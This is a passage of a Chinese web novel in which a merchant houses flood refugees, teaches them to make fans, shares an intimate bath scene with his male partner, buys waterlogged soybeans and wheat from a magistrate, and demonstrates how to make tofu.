一开始是满场的寂静,后面终于有人开口问道:“郎君,不是我们不愿意去,我们这拖家带口的,都住哪儿啊?” 阮锦笑道:“这一点大家不用担心,不论老弱妇孺还是伤残患者,都可以暂时先住在那里。我这边有不少手工活儿,明天会着人教你们怎么做。老人和妇女可以做这些计件的手工活儿,做一件也是有工钱的。” 当即就有不少人心动,举手道:“真的吗郎君?我去!我愿意去!” 接着又有不少人跟着举了手:“我也去我也去!只要郎君愿意收留我们,辛苦一些也没什么的。” 当然,也有人质疑:“真的能给工钱吗?别是到了时候做了工,再不给工钱了。” 阮锦解释道:“赵丰赵大人在这里做保,乡亲们还怕什么?我先把话摞这儿,如果我不给你们发工钱,你们大可以去县衙里告我。到时候赵大人也别讲什么情面,直接把我抓进大牢里去就行!” 他轻松的语气惹来百姓们的一阵哄笑,一位大姐当即挥手道:“乡亲们,有赵大人做保,咱们还怕什么?” 多数人都是从众的,一听前面这位大姐这么说,大家都表示要跟着阮锦走。 阮锦转头看向四儿,说道:“四儿,你先带大家去安顿,再给大家一一做个登记。一共多少人,哪里人,姓甚名谁,都写清楚了。后面给大家发工钱,也得根据档案记录来。” 四儿应道:“好的少爷,您放心吧!我一定都记清楚了。” 说着四儿招呼着大家:“大家都跟我来,排成两队,我带大家去住干净的房子。到时候大家可以换衣服洗澡,不用再在潮湿的帐篷里待着了。” 不少流民都感动的红了眼圈,朝着四儿和阮锦说着感谢的话。 阮锦特意又跑了一趟阮家村所在的位置,扶住六伯道:“六伯,五叔,你们也跟着一起走吧!我给你们安排一个朝阳的院子,只是得委屈大家跟着乡亲们一起挤挤了。” 一共只有十几个院子,一个院子三到五个房间不等,不可能一家子给一个院子。 十有八九,是一个房间住两到三个人,至少得是两家拼住。 六伯应了一声,起身便跟着一起排队去了,阮锦又看向其他人:“五叔,三嫂,四婶,你们也一起吧!” 五叔起身刚要走,便被五婶给拽住了,说道:“锦哥儿,我们……我们就不去了。” 阮锦有些意外的问道:“不去?为什么?这天气眼看着又要下雨,一直待在帐篷里怕是要生病了。” 五叔笑得勉强,刚要说什么,就隐隐约约听到不远处四婶在劝旁人:“那京城来的佛子,可是一等一的大善人。那幅画你们都看了吧?遇到上老乞丐都给几十两银子的主儿,他来了咱们不就都有好日子过了?” 阮锦皱起了眉,当即明白他们为什么不去了。 再一看流民营里,不光阮家村的这些人没去,还有不少其他村的也没跟着去。 去四儿那里排队的,满打满算也就一两百人,甚至不到一半的样子。 阮锦很是疑惑,难道一个远在京城的虚无缥缈的人设,就能抵过眼下即得的利益? 他的疑惑也有人问了出来,不远处一名妇人问:“可……可那佛子何时才能来啊?如果他一时半会儿过不来,难道我们就要一直住在流民营里?这眼看着又要下雨,虽说这里地势高,可这帐篷是油布做的,怕是也抵挡不了多久啊!” 有人小声的劝道:“你若是想去,完全可以跟着去。你没看到去的那些都是些什么人吗?家里年轻人多的,谁愿意过去?熬个几天,就能换来半生荣华富贵,你自己选择好了。” 那人闻言也犹豫了,说道:“那……那我再等等……再等等。” 阮锦现在明白了,人性是很复杂的东西,毕竟轻而易举就能获得的荣华富贵确实很容易让人心动。 如果那位佛子真的人手送个几十上百两,可比在他这里做一年工赚得都多了。 毕竟在桃花县,普通脚夫一个月最多赚个几百上千文,一年下来也不足十两银,若是真有几十上百两,那就可以找个地方修一栋小房子了。 阮锦没再多做逗留,转身便带着跟着他们一起走的流民回了巷子里。 九大夫也没继续在这里赠药,因为多数生病的人都走了,老人孩子拖不起,他们没办法因为有可能的财富而放弃亲人的性命。 赵县令见状也派了几个人手过去帮忙,帮着一起登记,安排入住,还把之前募来的一些被褥发给了大家。 但床肯定是不够的,好在赵大人带了一批草席过来,也幸亏是夏天,哪怕睡在房间里的地上,也好过睡在潮湿的帐篷里。 床和被褥优先给了生病和受伤的人,九大夫也把自己的药全拿了出来。 因为忙不过来,五儿和阿蛮也过来帮着一起煎了一会儿药。 一直忙到深夜,几人累得不行了,才算回到了院子。 三儿又让阿大给他们打包了食物,阮锦和九大夫一边吃一边有气无力的交流:“好在只过来了一百七十名流民,如果全过来的话,咱们几个可能一晚上都忙不过来。” 尉迟融也跟着过来了,他有些心疼的看着阮锦道:“师父,你怎么不早说?我手下有好几个人,让他们跟着一起去啊!” 阮锦的大脑仿佛突然恢复了思路一般,开口道:“对啊……我怎么把你给忘了?明天你别去找三儿了,跟着我一起去奇货巷!” 尉迟融:…… 他笑得十分讨好道:“师父……师妹那边也忙的不行,我们是不是……” 此时三儿开口道:“我不忙呀!你去帮师父吧!” 尉迟融一脸苦大仇深的看向三儿,三儿却假装没看到,继续帮阮锦夹菜。 阮锦心里登时就明白了,他抿唇轻笑,三儿这是红鸾星动了,只是三儿好像对这位小侯爷并没有那方面的心思。 阮锦安尉了一把尉迟融,说道:“也就忙这几天,奇货巷那边步入了正轨,你就可以继续帮师妹了。” 尉迟融当即又高兴了起来,点头道:“那好吧!而且现在确实是大灾当前,我也不能太自私了。” 见尉迟融妥协了,阮锦朝阿蛮使了个眼色,阿蛮拿了两把扇子过来,把其中一把折扇递给了尉迟融。 尉迟融接过折扇,问道:“咦?师父,这是什么?” 阮锦示意他打开,尉迟融一打开折扇,只见上面写了两个大字:牛B。 看到这两个字,阮锦就忍不住想笑,本来阿蛮想给他写花开富贵的,阮锦觉得这两个字不适合牛逼轰轰的尉迟融,于是让阿蛮照着他写的两个字临摹了下。 牛B,那是相当的牛B。 尉迟融扇了两下扇子,一脸惊喜道:“师父,这就是你答应送我的扇子?” 阮锦郑重的点头:“一共做了五把,你和三儿四儿还有仙儿都有。” 还有一把是阿蛮的,因为做到一半去做了,导致到现在那扇面儿还没完工。 尉迟融非常高兴,拿着扇子来回走了两圈,还走得非常有派头,让阮锦忍不住觉得这扇子就是为他量身打造的。 尤其是那两个堂而皇之的牛B,简直就是尉迟融的代言,配上他吊儿郎当的气质,可以说是相得益彰了。 阮锦忍不住偷笑,又拿了一把扇子给三儿,上面是花鸟绢布,也十分适合三儿。 三儿一看自己也有份,忍不住惊讶道:“这是我的?” 阮锦点头:“宫扇最适合女孩子,看看你喜不喜欢。” 看着上面漂亮的花鸟纹样,三儿开心的嗯了两声:“喜欢,真漂亮,师父你好厉害!” 四儿从一旁插嘴道:“厉害吧?少爷说要在奇货巷里做这些扇子,教那些老弱妇孺们做手工。这些扇子就是第一批,后续还会有各种奇货。” 三儿好奇的看向阮锦:“师父是打算让流民们后续也能有养活自己的手艺吗?” 阮锦点了点头,三儿感慨道:“师父真是用心良苦,是不是这就是师父说的那句,授人以鱼不如授人以渔?” “对。”阮锦轻笑:“其实大家的智力都是差不多的,只要多学,就能有一条出路。” 阿大在一旁接道:“少爷说得是,就像当初你收留我们一样。那时候我们也并不觉得自己能行,是少爷觉得我们能行,我们才一步一步走到如今的。” 这个如今,也只是两个月的时间而已。 众人又在餐桌前感慨了半天,各自散去后,阿蛮便准备了热水给阮锦洗澡。 今日他竟还特意的在里面泡了玫瑰花瓣,使得整个浴缸里都是香喷喷的玫瑰花味道。 今天阮锦累了一天,看到这一浴缸香喷喷的洗澡水,整个人便都放松了下来。 阮锦脱掉衣服,躺到了浴缸里,突然勾唇笑了笑,说道:“阿蛮要不要一起?” 第73章 阿蛮先是怔了怔,随即笑了笑,脱光衣服坐进了浴缸里。 这个浴缸很大,两人一人坐一边刚刚好。 可阿蛮却非常不乖,在水下面握住阮锦的脚踝,甚至坏心眼的挠他的脚心。 阮锦一脸无奈,说道:“阿蛮,你在干什么?” 阿蛮低低的笑了笑,抬起他的脚踝吻了吻他的脚背,说道:“我今天一天没有看到你,阿锦……我想你了。” 阮锦叹了口气,起身坐到了阿蛮的怀里,拍了拍他的脸颊道:“对不起,今天为了安置那些流民忙到没顾上你。” 阿蛮却摇了摇头:“没关系的,阿锦……有自己的事做。” 阮锦想了想,又问道:“阿蛮会因为我收留这些人而生气吗?毕竟生活是我们两个的,你会不会觉得我在多管闲事?” 阿蛮又摇了摇头:“阿锦是这个世界上……最善良的人,只要是阿锦想做的,肯定都有他……想做的道理。” 听了阿蛮的话,阮锦心里一阵感动,他心想,这个世界上阿蛮应该是最最义无反顾完全支持自己的人了。 阮锦抬头亲了亲阿蛮的下巴,小声道:“谢谢你阿蛮,你真好。” 然而下一秒,阮锦就感觉不太好了,因为有一把纸扇正抵在他的后腰上。 阮锦:??? 阮锦不敢动,怔怔的坐在那里,任凭阿蛮圈住他,下巴深深埋入他的侧颈,轻轻蹭着他的脸颊。 阿蛮低低的笑了笑,问道:“阿锦这是怎么了?为什么……不动了?” 阮锦头疼的叹了口气,问道:“你确定,要在这里玩你那把扇子?” 阿蛮抬起一双狗狗眼看向阮锦,阮锦对上他的视线,一脸无奈道:“我就知道,阿蛮,你是不是觉得你很会拿捏我?” 每每他用这种眼神看向自己时,阮锦都会忍不住的对他进行让步,对他予取予求。 阿蛮一口咬上阮锦的后颈,轻轻用他的犬齿在他后颈的皮肤上蹭着,虽然没有回答阮锦的问题,却用行动告诉了阮锦,我要恃宠而骄了。 被阿蛮咬住的后颈肉有些酥痒,阮锦轻轻吭了一声,这让他想到了曾经看过的ABO小说。 Alpha通常会用这样的方式来对自己的omega进行标记,他忍不住低声道:“你是想标记我吗?” “嗯?”阿蛮不解的问道:“标记?” 阮锦解释道:“就是……强悍的雄性会在他们的伴侣身上留下牙印,注入自己的信息素,以让对方永久留下自己的气息。” 阿蛮点头表示明白了,却也只是轻轻在他后颈上舔了舔。 他想,自己恐怕并不忍心在阿锦的脖了上咬下去。 但那一舔,却让阮锦的后颈直接麻到了天灵盖,仿佛被触发了什么开关一样,歪头便吻上了阿蛮的嘴唇。 阿蛮十分意外,片刻后明白了,一吻唇分,他有些微喘的问阮锦:“舔那里是不是让你很喜欢?” 阮锦两颊泛红,但还是轻轻点了点头,他也没想到,自己的敏感点竟然是在后颈。 阿蛮明白了,单手绕到阮锦的后颈,摩梭着他后颈的软肉。 阮锦的脖子缩了缩,忍不住发出一阵轻吭,勾得阿蛮将阮锦转身压在了浴桶壁上。 水花哗啦四溅,溅到了屏风上,花瓣也随着水流冲了满地。 阮锦无奈一笑道:“阿蛮,小心点儿,待会儿四儿收拾的时候又该碎碎念了。” 阿蛮的胸腹紧紧贴着阮锦的后背,下巴放在他的颈窝里,舌尖一次次轻轻舔过他的后颈,激得阮锦用力握紧了浴桶的桶壁。 指甲划过桶壁的声音,让耳膜都忍不住战栗了。 阿蛮的双手覆上阮锦的,弓身和阮锦贴贴,阮锦终于按捺不住,对他说道:“阿蛮,可以标记我吗?” 阿蛮微怔,尖锐的犬齿在阮锦薄薄的皮肤上用力一咬,阮锦低呼出声,虽然知道没有流血,却还是给他一种全身战栗的畅快。 阿蛮的一条腿伸入满是玫瑰花的水中,浴捅里的水荡起波纹,花瓣随着波纹左右摇晃着,偶尔被冲到地上,偶尔被冲到阮锦的腰腹间,为这满室增添了九分旖旎,一分甜香。 第二天一早,又是忙碌的一天。 不知道为什么,阮锦虽然觉得每天都很辛苦,却并不觉得累。 可能是因为晚上睡觉睡得太踏实了,只要闭上眼睛便是秒睡,晚上一夜无梦,睡醒便有一种大脑和身体得到完全恢复的满血感。 他觉得这归功于阿蛮,睡前小度一下,的确有助于身心健康。 今日有了尉迟融的帮助,阮锦和四儿的工作便轻松了不少。 四儿一早便过来了,由于他是家里管账的,便自做主张支取了一百两银子,给这边垒了锅灶,买了几石米,一些肉菜,还有一些白面。 白面对普通人家来说都是精细粮了,虽然是没过过筛的全麦粉,对普通老百姓来说也是稀罕的。 四儿安排了十个人专门管灶,他自己监督粮食的取用,倒也不担心浪费和中饱私囊问题。 阮锦过来的时候,流民们刚好吃完饭,水患这几天,他们在水里泡了几天,终于睡了个安稳觉,吃了顿热乎的饱饭。 一见阮锦过来,一群人全都给他跪了下来。 阮锦心想完了,那么多人给他下跪,他这辈子算是好不了了。 他没办法一个个劝他们起来,只得无奈道:“大家不是想赚钱吗?想赚钱的就起来听听,不然我可不讲怎么赚了哈!” 众人讪讪的笑笑,一个个互相搀扶着起身,阮锦才接着道:“生病的和受伤的今天就不要参与了,赵大人又送来一些药物,待会儿大家过来领一下。剩下的人里有没有篾匠?如果有,就先来我这里报到。” 桃花县地处偏南,漫山都是竹子,几乎各个村子里都有几个篾匠。 哪怕是普通人家,也有不少会处理竹子的。 如阮锦所料,他一问完,当即有十几名村民举手,有男有女,还有几个上了年纪的。 阮锦对他们招了招手:“那你们就先和我去前面的院子吧!剩下的先各自回去休息,等侯四儿的安排。” 四儿一早就把做扇子的材料准备好了,都放在最前面的院子里。 那个院子没有安排流民住,当作仓库和四儿的办公场所。 阮锦把十几个篾匠请进了院子里,说道:“各位应该对竹子非常了解了,我就不多说了。其实要做的很简单,就是把这些竹子,按照图纸上所绘制的削成一片一片的薄片。四儿,你把样品拿给大家。” 这些一年就是老篾匠,想必一看就知道该怎么做。 四儿拿来了几把扇子,有折扇也有宫扇,折扇有大有小,宫扇有圆形,有葫芦形,还有六角形和梅花形。 这些阮锦都画了图纸,每一个步骤也都记录的很清楚。 其中一名老篾匠上前来看了一眼,问道:“郎君,就是扎这个架子和磨竹片吗?” 阮锦点头:“对,老人家能做吗?” 老篾匠抿了抿唇,只说了四个字:“太简单了。” 阮锦笑了,心想对于一直做篾匠的人来说,确实太简单了。 “那我就不多说什么了,几位先试试怎么样?照着图纸做几个,先做框架,后面的交给其他人做就可以。” 几名篾匠同声应了一声,当即开始利落的处理竹子,竹子在他们手上就像变戏法一样,很快就从一根根竹子变成了一片片竹片,又人一片片竹片,变成各种各样他们想要的样子。 也不过是片刻的功夫,几名篾匠便扎出了宫扇的几个框架,也做出了折扇的扇骨。 阮锦拿在手上一看,还真是惊讶于手艺人的能力,他们做的框架和扇骨非常结实,没比阿蛮做的差到哪里去。 又有一名篾匠道:“若是少爷想让我们在这竹骨上雕花,也不是不行的,咱们也有专门雕花的匠人。” 阮锦欣喜道:“那真是太好了!这里也有一些纹样,当然,如果你们有好看的纹样,也可以雕到扇骨上。” 篾匠们点头,又各自忙碌了起来,熟练的开始在扇骨上雕刻各种漂亮的花纹。 阮锦见状便知道,这里应该用不上自己了,他叮嘱四儿道:“你来盯着吧!最后大家做了多少成品,按照成品来给大家算工钱。做好后每样给我拿几把样品,我来对新品进行宣发。” “宣发?”四儿一脸迷茫。 阮锦一脸神秘的轻笑:“到时候你就知道了。” 官道上依旧热闹如初,往来的客商行色匆忙,偶尔住店歇脚,倒是也没有影响街道两旁商户的生意。 这一点阮锦是比较庆幸的,如果官道都封了,那可能连他也没办法了。 只是单单是做扇子应该没办法保证流民们的生活,扇子毕竟是小物件儿,就算人手一把,怕是也卖不了多少钱。 他左思右想,还是得再想点别的营生。 做点什么好呢? 阮锦好得正出神,便听到九大夫从身后叫他,阮锦回头,看到九大夫正脚步匆忙的朝他跑了过来,问道:“你这是怎么了?失魂落魄的。” 阮锦回过神来,说道:“没什么,你这是去哪儿?” 九大夫无奈道:“别提了,有几个流民舍不得把泡了水的黄豆扔掉,结果吃了几天全在拉肚子,我得赶紧过去给他们开点药。” 阮锦:…… 黄豆可不能多吃,吃多了不光容易拉肚子,还容易腹胀。 只是黄豆泡了水,扔掉确实可惜了。 想到这里,阮锦突然灵光一现,说道:“对啊!我怎么忘了呢?” 第74章 泡了水的黄豆虽然扔了可惜,但是可以发成黄豆芽呀! 如果泡的不算太严重,还可以用来做豆腐,其实做豆腐的成本是最低的,做出来的豆腐产出却会很高。 而且虽然有一句话是在玩笑,但阮锦觉得它其实说得也有一定的道理。 做硬了是豆腐干,做稀了是豆腐脑,做薄了是豆腐皮,做没了是豆浆,放臭了是臭豆腐。 不论怎么做,都有其价值,这不是一举数得的好经济手段吗? 一想到这里,阮锦便一脸开心的拉住了九大夫的手,说道:“九哥,你可真是我的福星!那些泡了水的黄豆在哪里呀?快带我去全收了来!” 九大夫不解的看向他,问道:“你……你要泡了水的黄豆做什么?这已经不值什么钱了,你就算收回来也放不住。哦,我知道了,你是想煮豆饭给流民们吃?但是也不能给他们吃太多啊!黄豆吃多了不光积食,还会腹泻,能肠胃着实不好。” 阮锦神秘一笑,说道:“那就是劳九大夫操心了,你快带我去,我自有生财之道!” 九大夫见他一脸神神秘秘的模样,也没再多问,只是带着他去了另一个流民营。 这边的流民营是赵县的百姓,而他们被泡了水的黄豆竟是赵县粮仓里的。 赵县的县令也是老熟人了,正是一开始死了八个老婆的那位李县令。 赵县受灾的情况并不算严重,但那边现在水位不低,所以不少百姓都逃来了桃花县投亲,实在无处可投的便只能住在暂时的流民营里。 九大夫远远的指了指那边一个尖嘴猴腮的中年男人道:“那里便是赵县县令李鸿,他们粮仓里应该有不少泡了水的粮食。不光黄豆,玉米小麦也不少。不过玉米不易发芽,他们等天晴了晾一晾还能要。黄豆和小麦怕是留不住,这天气,肯定是会发芽的。” 阮锦点了点头,应道:“好,我知道了,你先忙你的去,我这就去和李县令谈生意。” 九大夫点了点头,转身便去了流民营病号集中之处。 阮锦则朝李县令的方向走去,好巧不巧,赵县令刚好也在此处,两人似乎是在交流着什么。 阮锦远远的听了一耳朵,好像李县令想向赵县令借调些粮食,赵县令也在为难,毕竟桃花县这边也有不少百姓受灾。 恰好是阮锦的到来,让赵县令有了转移话题的机会,他当即朝阮锦招了招手道:“这不是阮老板吗?昨天的事还真要多谢阮老板,否则我这边还真的揭不开锅了。来来来,我来为你介绍一下,这位是隔壁赵县的李大人。李大人,这位便是我和您说过的那位义士郎君。” 尖嘴猴腮的李鸿一看到阮锦,眼神便直了直,伸手捏了捏自己的山羊胡道:“这位郎君……看着好生眼熟啊?不知……姓甚名谁啊?” 阮锦心想,你多次找媒婆向我提亲,能不眼熟么? 阮锦没有透露自己的姓名,只道:“小人天生一张大众脸,大人可能什么时候见过类似的。在下是蛮锦食记的老板,今天过来,是有笔生意想和李大人谈谈呢。” 李大人的眼睛直勾勾的看着阮锦,这让阮锦极其不舒服,心里暗暗的骂了他一句:呸,老色胚。 李县令笑呵呵的问道:“哦,郎君是想做什么生意啊?” 阮锦道:“我听说赵县粮仓里的粮食泡了水?不知道有多少粮?能否卖给我啊?” 李县令闻言,看向阮锦的眼神终于不再是直勾勾的了,他皱眉道:“郎君莫不是在跟我说笑?那些泡了水的粮食,哪还值什么钱,连这些流民都不惜得吃。” 阮锦笑了,说道:“自然不是和县令说笑的,我要这些粮食,自然是有用的。既然不值什么钱了,扔了也是可惜,不如便宜卖给我可好?” 赵县令十分疑惑的看向阮锦,问道:“阮老板,你买这些粮食,是想给流民们吃的吗?这……一百多名流民,哪怕吃一个月,也吃不了那么多的泡水粮。再说了,这些泡水粮三天内吃不完十有八九就坏了。你如果买回来,也是吃不迭的。放坏了,那不就白花钱了?” 阮锦摆手道:“那自然不是,我给流民们吃的都是上好的米粮,这些泡水的粮食我自然是有别的用处。” 李县令问阮锦:“你当真要买?” 阮锦十分肯定的点头道:“当真,李大人出个价吧!当然了,有赵县令在,您多少也得卖个面子,给个便宜点的价格。” 李县令嗨了一声,说道:“你放心,就算没有赵大人在,价格也不会高到哪儿去的。那些粮我已经在想尽办法的处理了,可你也看到了,这些人吃了跑肚的跑肚,拉稀的拉稀,再不行的就腹胀,我还得花一笔钱给他们看病!省了小处,花了大处!你若是想法,那便黄豆十文一石,小麦十二文一石!” 阮锦一听,那可是相当便宜了。 这个时代的黄豆是三文一斤,一石是三十斤,也就是九十到一百文一石。 小麦则是四文一斤,约一百二十文一石。 这个价格,相当于是原价的十分之一,的确很便宜了。 许是有赵大人在此,李鸿也想快点出掉这个烫手的山芋,便低价卖给了他。 阮锦闻言也没再说别的,只是点了点头道:“好,那便依李大人所言,不知道仓库里有多少石黄豆和小麦?” 李鸿捏着胡胡叫文书,文书手上拿着支毛笔,在账薄上写写画画,片刻后抬头道:“回大人的话,黄豆三百余石,小麦五百余石。” 也就是说,小麦一千多斤,小麦差不多两千斤。 也还好,不是很多,阮锦便大手一挥:“也好,那我全要了,劳烦李大人给我送到桃花县官道奇货巷,蛮锦食记后面的那条巷子。” 李鸿生怕阮锦返回似的,当即吩咐手下:“好好好,那你们也别等着了,现在赶快把那些泡水的黄豆和小黄全部拿去给这位……郎君!” 手下应了一声,招呼着一帮衙役去运粮了。 阮锦则心满意足的盘算着自己的生意经,只是这些生意必须要在短时间内完工,不然这些粮食怕是也要留不住。 但问题也不大,阮锦明日开奇货巷,把油盐糖全摆出来,连带着其余稀罕玩意儿也一起卖,还能给自己的新生意拉点噱头。 赵大人倒是十分好奇,悄悄把阮锦拉到一边打听道:“阮老板是又有什么奇思妙想了?还是想买这些粮食去喂牲口?” 阮锦神秘一笑,说道:“大人,小时候我老家的豆啊麦的也经常被雨淋。我知道这些粮食被雨淋了以后能做什么,可以发挥出和正常粮食一样的价值。大人信吗?” 这倒是让赵大人好奇了,他问道:“哦?我知道阮老板肯定能做到,只是我着实是想不出,究竟是什么样的方法呢?” 阮锦当然不可能把商业机秘随便告诉别人,只是对他卖了个关子道:“到时候大人就知道了,明天,我奇货巷会开始营业,大人可以去逛逛,看看有什么想要的东西没。” 说着阮锦便转身离开了流民营,朝奇货巷的方向走去。 待到阮锦回到奇货巷时已是正午时代,四儿拿了十几把扇子正在门口等他,一见他来了,当即高兴的上前说道:“少爷你看,这就是篾匠和手巧的婶婶们一起做的。竟然还有不少姑娘会刺绣,这宫扇上的戏蝶正是一位手巧的姑娘绣的,简直比三儿绣的还要好呢。” 阮锦接过扇子,只见一个梅花形的团扇上绣着两只漂亮的彩蝶,惟妙惟肖,仿佛振翅欲飞。 看着那精美的宫扇,阮锦也忍不住赞了一声:“好看,真的好看!想不到这么快就做好了,那我们今天就可以做宣发了。” 四儿还是不解,问道:“什么宣发?” 阮锦轻笑,说道:“你先别管,去把仙儿叫过来!” 仙儿那边的摊子越做越大,已经有六个姐妹来帮忙了,蛮锦食记的馄饨销量是最大的,每个月入账几百两银,如今算是阮锦最赚钱的项目。 主要还是客流量大,食客多,有不少食客专门空出肚子来到桃花县来落脚,为的就是尝一碗蛮锦食记美味的馄饨。 当然了,也有不少人是想看一眼馄饨西施的美貌,以及馄饨摊子上的各色美人。 仙儿显然正在和面,围裙都没来得及摘就被四儿给叫了过来,一见到阮锦便问道:“东家,是出什么事儿了吗?” 阮锦摆了摆手,问道:“三儿把扇子给你没有?” 之前阮锦给仙儿做了一把牡丹团扇,三儿昨天说带给仙儿,想必仙儿今日已经收到了。 如阮锦所料,仙儿掀开围裙,把团扇往手上一拿,便摆了一个婀娜多姿的舞蹈造型,当即笑道:“收到了,谢谢东家,我非常喜欢,真的太漂亮了。” 阮锦点头:“你喜欢便好,东西可不能白拿,东家我今天可要做一回周扒皮。你如今……嗯……和醉仙楼,可还有联络?” 阮锦问的有些不好意思,仙儿答的倒是大大方方的,她嗨了一声道:“有!那必须是有的。因为新一代的花魁是我的徒弟,那小丫头灵气很足,学东西也快,比我当年混的好。说是誓要清白着身子离开青楼,一定要找一个真心相爱的人嫁了。这丫头啊,还是太天真。嗨,我话多了,少爷问这个是有什么事情吗?” 第75章 阮锦心想,仙儿确实了不起,不光自己是花魁,还培养出了新一代的花魁。 如果能请来花魁,那无疑对他的宣发有着非常重要的影响。 阮锦道:“是这样的仙儿,我这里有十几把扇子,想找几名姑娘帮我巡一下街。我找人做个花车,让姑娘们站在花车上,拿着扇子跳舞啊什么的。” 没等仙儿说话,四儿反倒是兴奋起来了,他一脸喜色的说道:“啊!少爷,我明白了!你是想让姑娘们拿着咱们的扇子做宣传,好吸引客商来购买,是吗?” 阮锦敲了敲四儿的脑袋,说道:“不错不错,四儿越来越聪明了。” 四儿捂了后脑袋,嘿嘿一笑道:“哎呀,跟着少爷时间长了,当然也能学到一星半点儿啦!” 阮锦看向仙儿,问道:“仙儿姐姐,这件事情好办吗?” 仙儿想了想,点了点头道:“好办,我去找凌姑,如果可以的话,让我那小徒弟也出来走一走,让桃花县的百姓们也见识一下花魁的风彩。” 阮锦一见能办,心情也好了些,说道:“那真是太好了,费用上不成问题,一切都好商量。” 仙儿却神秘一笑,说道:“费用什么的先不说,凌姑这个人我最了解了,她虽然唯利是图,却也不是不能说服的。东家你等着,我这就去把这件事情办了!” 说完仙儿把围裙一摘,便朝着醉仙楼的方向走去。 仙儿刚离开,李县令那边的衙役便把那些泡了水的黄豆和小麦送了过来。 满满当当好几车的货,让四儿忍不住产生了疑惑,他问道:“少爷,这些粮……都是泡过雨水的呀!虽然洗洗还能吃,但是放不住。您买这么多,哪怕咱们一百多个人,一时半会儿也是吃不完的。” 阮锦道:“不吃不吃,我自有用处。来,四儿,点过数后给他们把账结了。你再去找几个石碾过来,我们做点儿稀罕的。” 一听少爷口中说出稀罕的两个词,四儿便知道这事情不简单。 每次少爷说稀罕的,都会弄出些与众不同的花样吃食,而且基本都会风靡整个桃花县。 就拿蛮锦阁来讲,如今的蛮锦阁,可是桃花县贵人们的常去之处。 不论是谈生意还是谈公事,在蛮锦阁开上一个雅间,一坐便是一天,很少有谈不成的事儿。 要么说中国人的生意基本上都是在餐桌上促成的,美食配美酒,哪有谈不成的事儿。 四儿很快清点了粮食的数量,阮锦给差役结了账,又叫了几名流民过来。 这几名流民都是身强体壮的,因为要推磨,必须得有一把子力气。 看着那几个膀大腰圆的大哥,阮锦便十分满意的点了点头,问道:“我这里还有一个营生,但可能会比较辛苦,不过可以养家糊口,几位大哥可愿意学?” 那几名大哥纷纷点头,其中一名大哥道:“辛苦算得了什么,我从前是撑船的,就是不怕辛苦。一家老小等着我养活呢,累点苦点都不怕。” 其他人也是这个意思,自从他们村子里遭遇了山洪,老人孩子就开始饿肚子,能有一份养家糊口的生计已经非常可贵了。 阮锦勾唇点了点头,说道:“好,好,不怕辛苦便好。” 俗话说,人间有三苦,撑船打铁卖豆腐。 即使这么苦,还是有不少人抢着干,不为别的,就是因为这三个生计都能养家糊口。 阮锦指挥着众人把泡了水的黄豆清洗干净,又把坏豆捡出来,继续泡到水里。 四儿不解的问:“少爷,这黄豆已经泡发了,为什么还要泡?” 阮锦轻笑:“这泡发的还不够,至少还要再泡上一个时辰。来来来,大家多叫些人过来,把这些黄豆全泡上。” 四儿把能找来的盆全找来了,但也只泡了不到三分之一。 剩下的阮锦让大家摊在屋子里的空地上,以免连阴雨之下发霉发臭。 还有那些泡了水的小麦,也找到了空地晾着。 但其中有两袋已经发芽了,四儿看了忍不住骂:“这李县令也真是坑人,怎么都发这么长的芽了还要给我们送过来?” 阮锦却十分不在意,说道:“发芽啊?那更好!来来来,找两个木盆,把它们养起来!麦芽呀!可是个好东西。” 四儿也是觉得奇了,在少爷这里,就没有不是好东西的。 于是他赶紧配合阮锦,找来两个大木盆,把这些麦芽养在了里面。 忙完这些,黄豆也泡个差不多了,足足十个大盆,泡发完几百斤的黄豆。 阮锦招呼道:“大家先放放手上的活儿,来来来,现在我来教大家做豆腐。” 大哥们连同几个过来帮忙捡黄豆泡黄豆的流民都好奇的围了过来,纷纷交头接耳的询问:“豆腐?那是什么?” “没听说过啊!” “是用豆子做的吗?” “泡了这么多的豆子,十有八九是吧?” 阮锦的手边是一台小石碾,他指着石碾道:“首先我们要用石碾把泡好的黄豆磨成豆浆。在磨之前呢,我们得先把石碾洗干净,这样磨出来的豆浆才会白嫩嫩的。” 石碾是四儿洗好的,所以这一步便省略了。 阮锦又抓了一把黄豆,把它们投进了石碾中,接着说道:“一边磨,一边加水。我这水是咱们桃花山溪里的山泉水,当然了,如果嫌麻烦,打咱们桃花县城里的井水也是可以的。不过最好用山泉水,这样做出来的豆腐才更加鲜甜。” 说话间,随着他手上的动作,白白的豆浆便从石磨上缓缓流入木桶中。 木桶里套了一个纱布袋,那是用来过滤豆渣的,阮锦磨满一桶的豆浆后,便将豆渣过滤了出来。 阮锦拎着那些豆渣嘿嘿笑道:“这个也是好东西,不要扔,用来烙饼蒸馒头,香着呢!” 说完他又吩咐四儿:“四儿,点火!” 四儿应道:“哎,来了!” 四儿利落的洗锅点火,阮锦又让一旁的大哥帮忙把豆浆倒进了锅里。 不一会儿,这一大锅的豆浆便煮开了,大约滚个两三分钟,便能将豆腥味儿去除,此时便能撤火。 撤火后晾凉,豆浆的表面便结了一层油皮,阮锦拿了筷子挑起那层油皮晾到了竹杆上,又道:“这个也不要扔,同样是好东西。” 一旁的流民们被他诙谐的表情逗得直笑,心想这位东家还真是有意思,什么都是好东西。 不过他们也是第一次见,原来泡过的黄豆竟然还能磨成浆。 趁着豆浆晾凉的时间,阮锦又让四儿去找了几个木箱子过来,那是工场那边用来装香油罐子的,今天也刚好派上了用场。 眼下就到了关键一步,阮锦招呼大家围过来,说道:“接下来咱们就要点豆腐了!这个是石膏,小半勺就可以。再盛半碗凉水,把石膏粉化开。一定要充分的化开,化到完全没有颗粒才行。再趁着豆浆热乎……” 说着他便将石膏水倒进木盆里,再把热豆浆一瓢一瓢的冲进装石膏水的盆里。 “装完后直接盖上锅盖,接下来就是表演戏法的时候了!” 说着他起身走到一旁,把沙漏翻转过来,冲着众人神秘一笑道:“你们猜猜,一会儿这里面会出现什么有趣的东西?” 众人又被逗笑了,四儿也在一旁哈哈的笑,心想如果先生都像少爷这般讲课,那五儿上课的时候肯定不会睡觉。 有一名大哥开玩笑道:“里面该不会能变出美人儿吧!” 一阵哈哈哈声传来,外面经过的路人都觉得奇怪,心想这里不是刚来了一帮流民吗?怎么一个个高兴成这样? 阮锦也跟着哈哈哈,逗那位大哥道:“大哥你该不会是光棍儿打久了,天天晚上想美人儿吧?” 那大哥老脸一红,不好意思的嘿嘿笑了两声,说道:“东家怎么知道的。” 这回众人笑的更大声了。 直到沙漏结束,阮锦才打开锅盖,只见原本稀薄的豆浆竟然变成了絮状物,里面出现了很多的固体。 阮锦道:“美人儿是没有的,倒是有豆腐花。有谁饿了?想不想尝尝?” 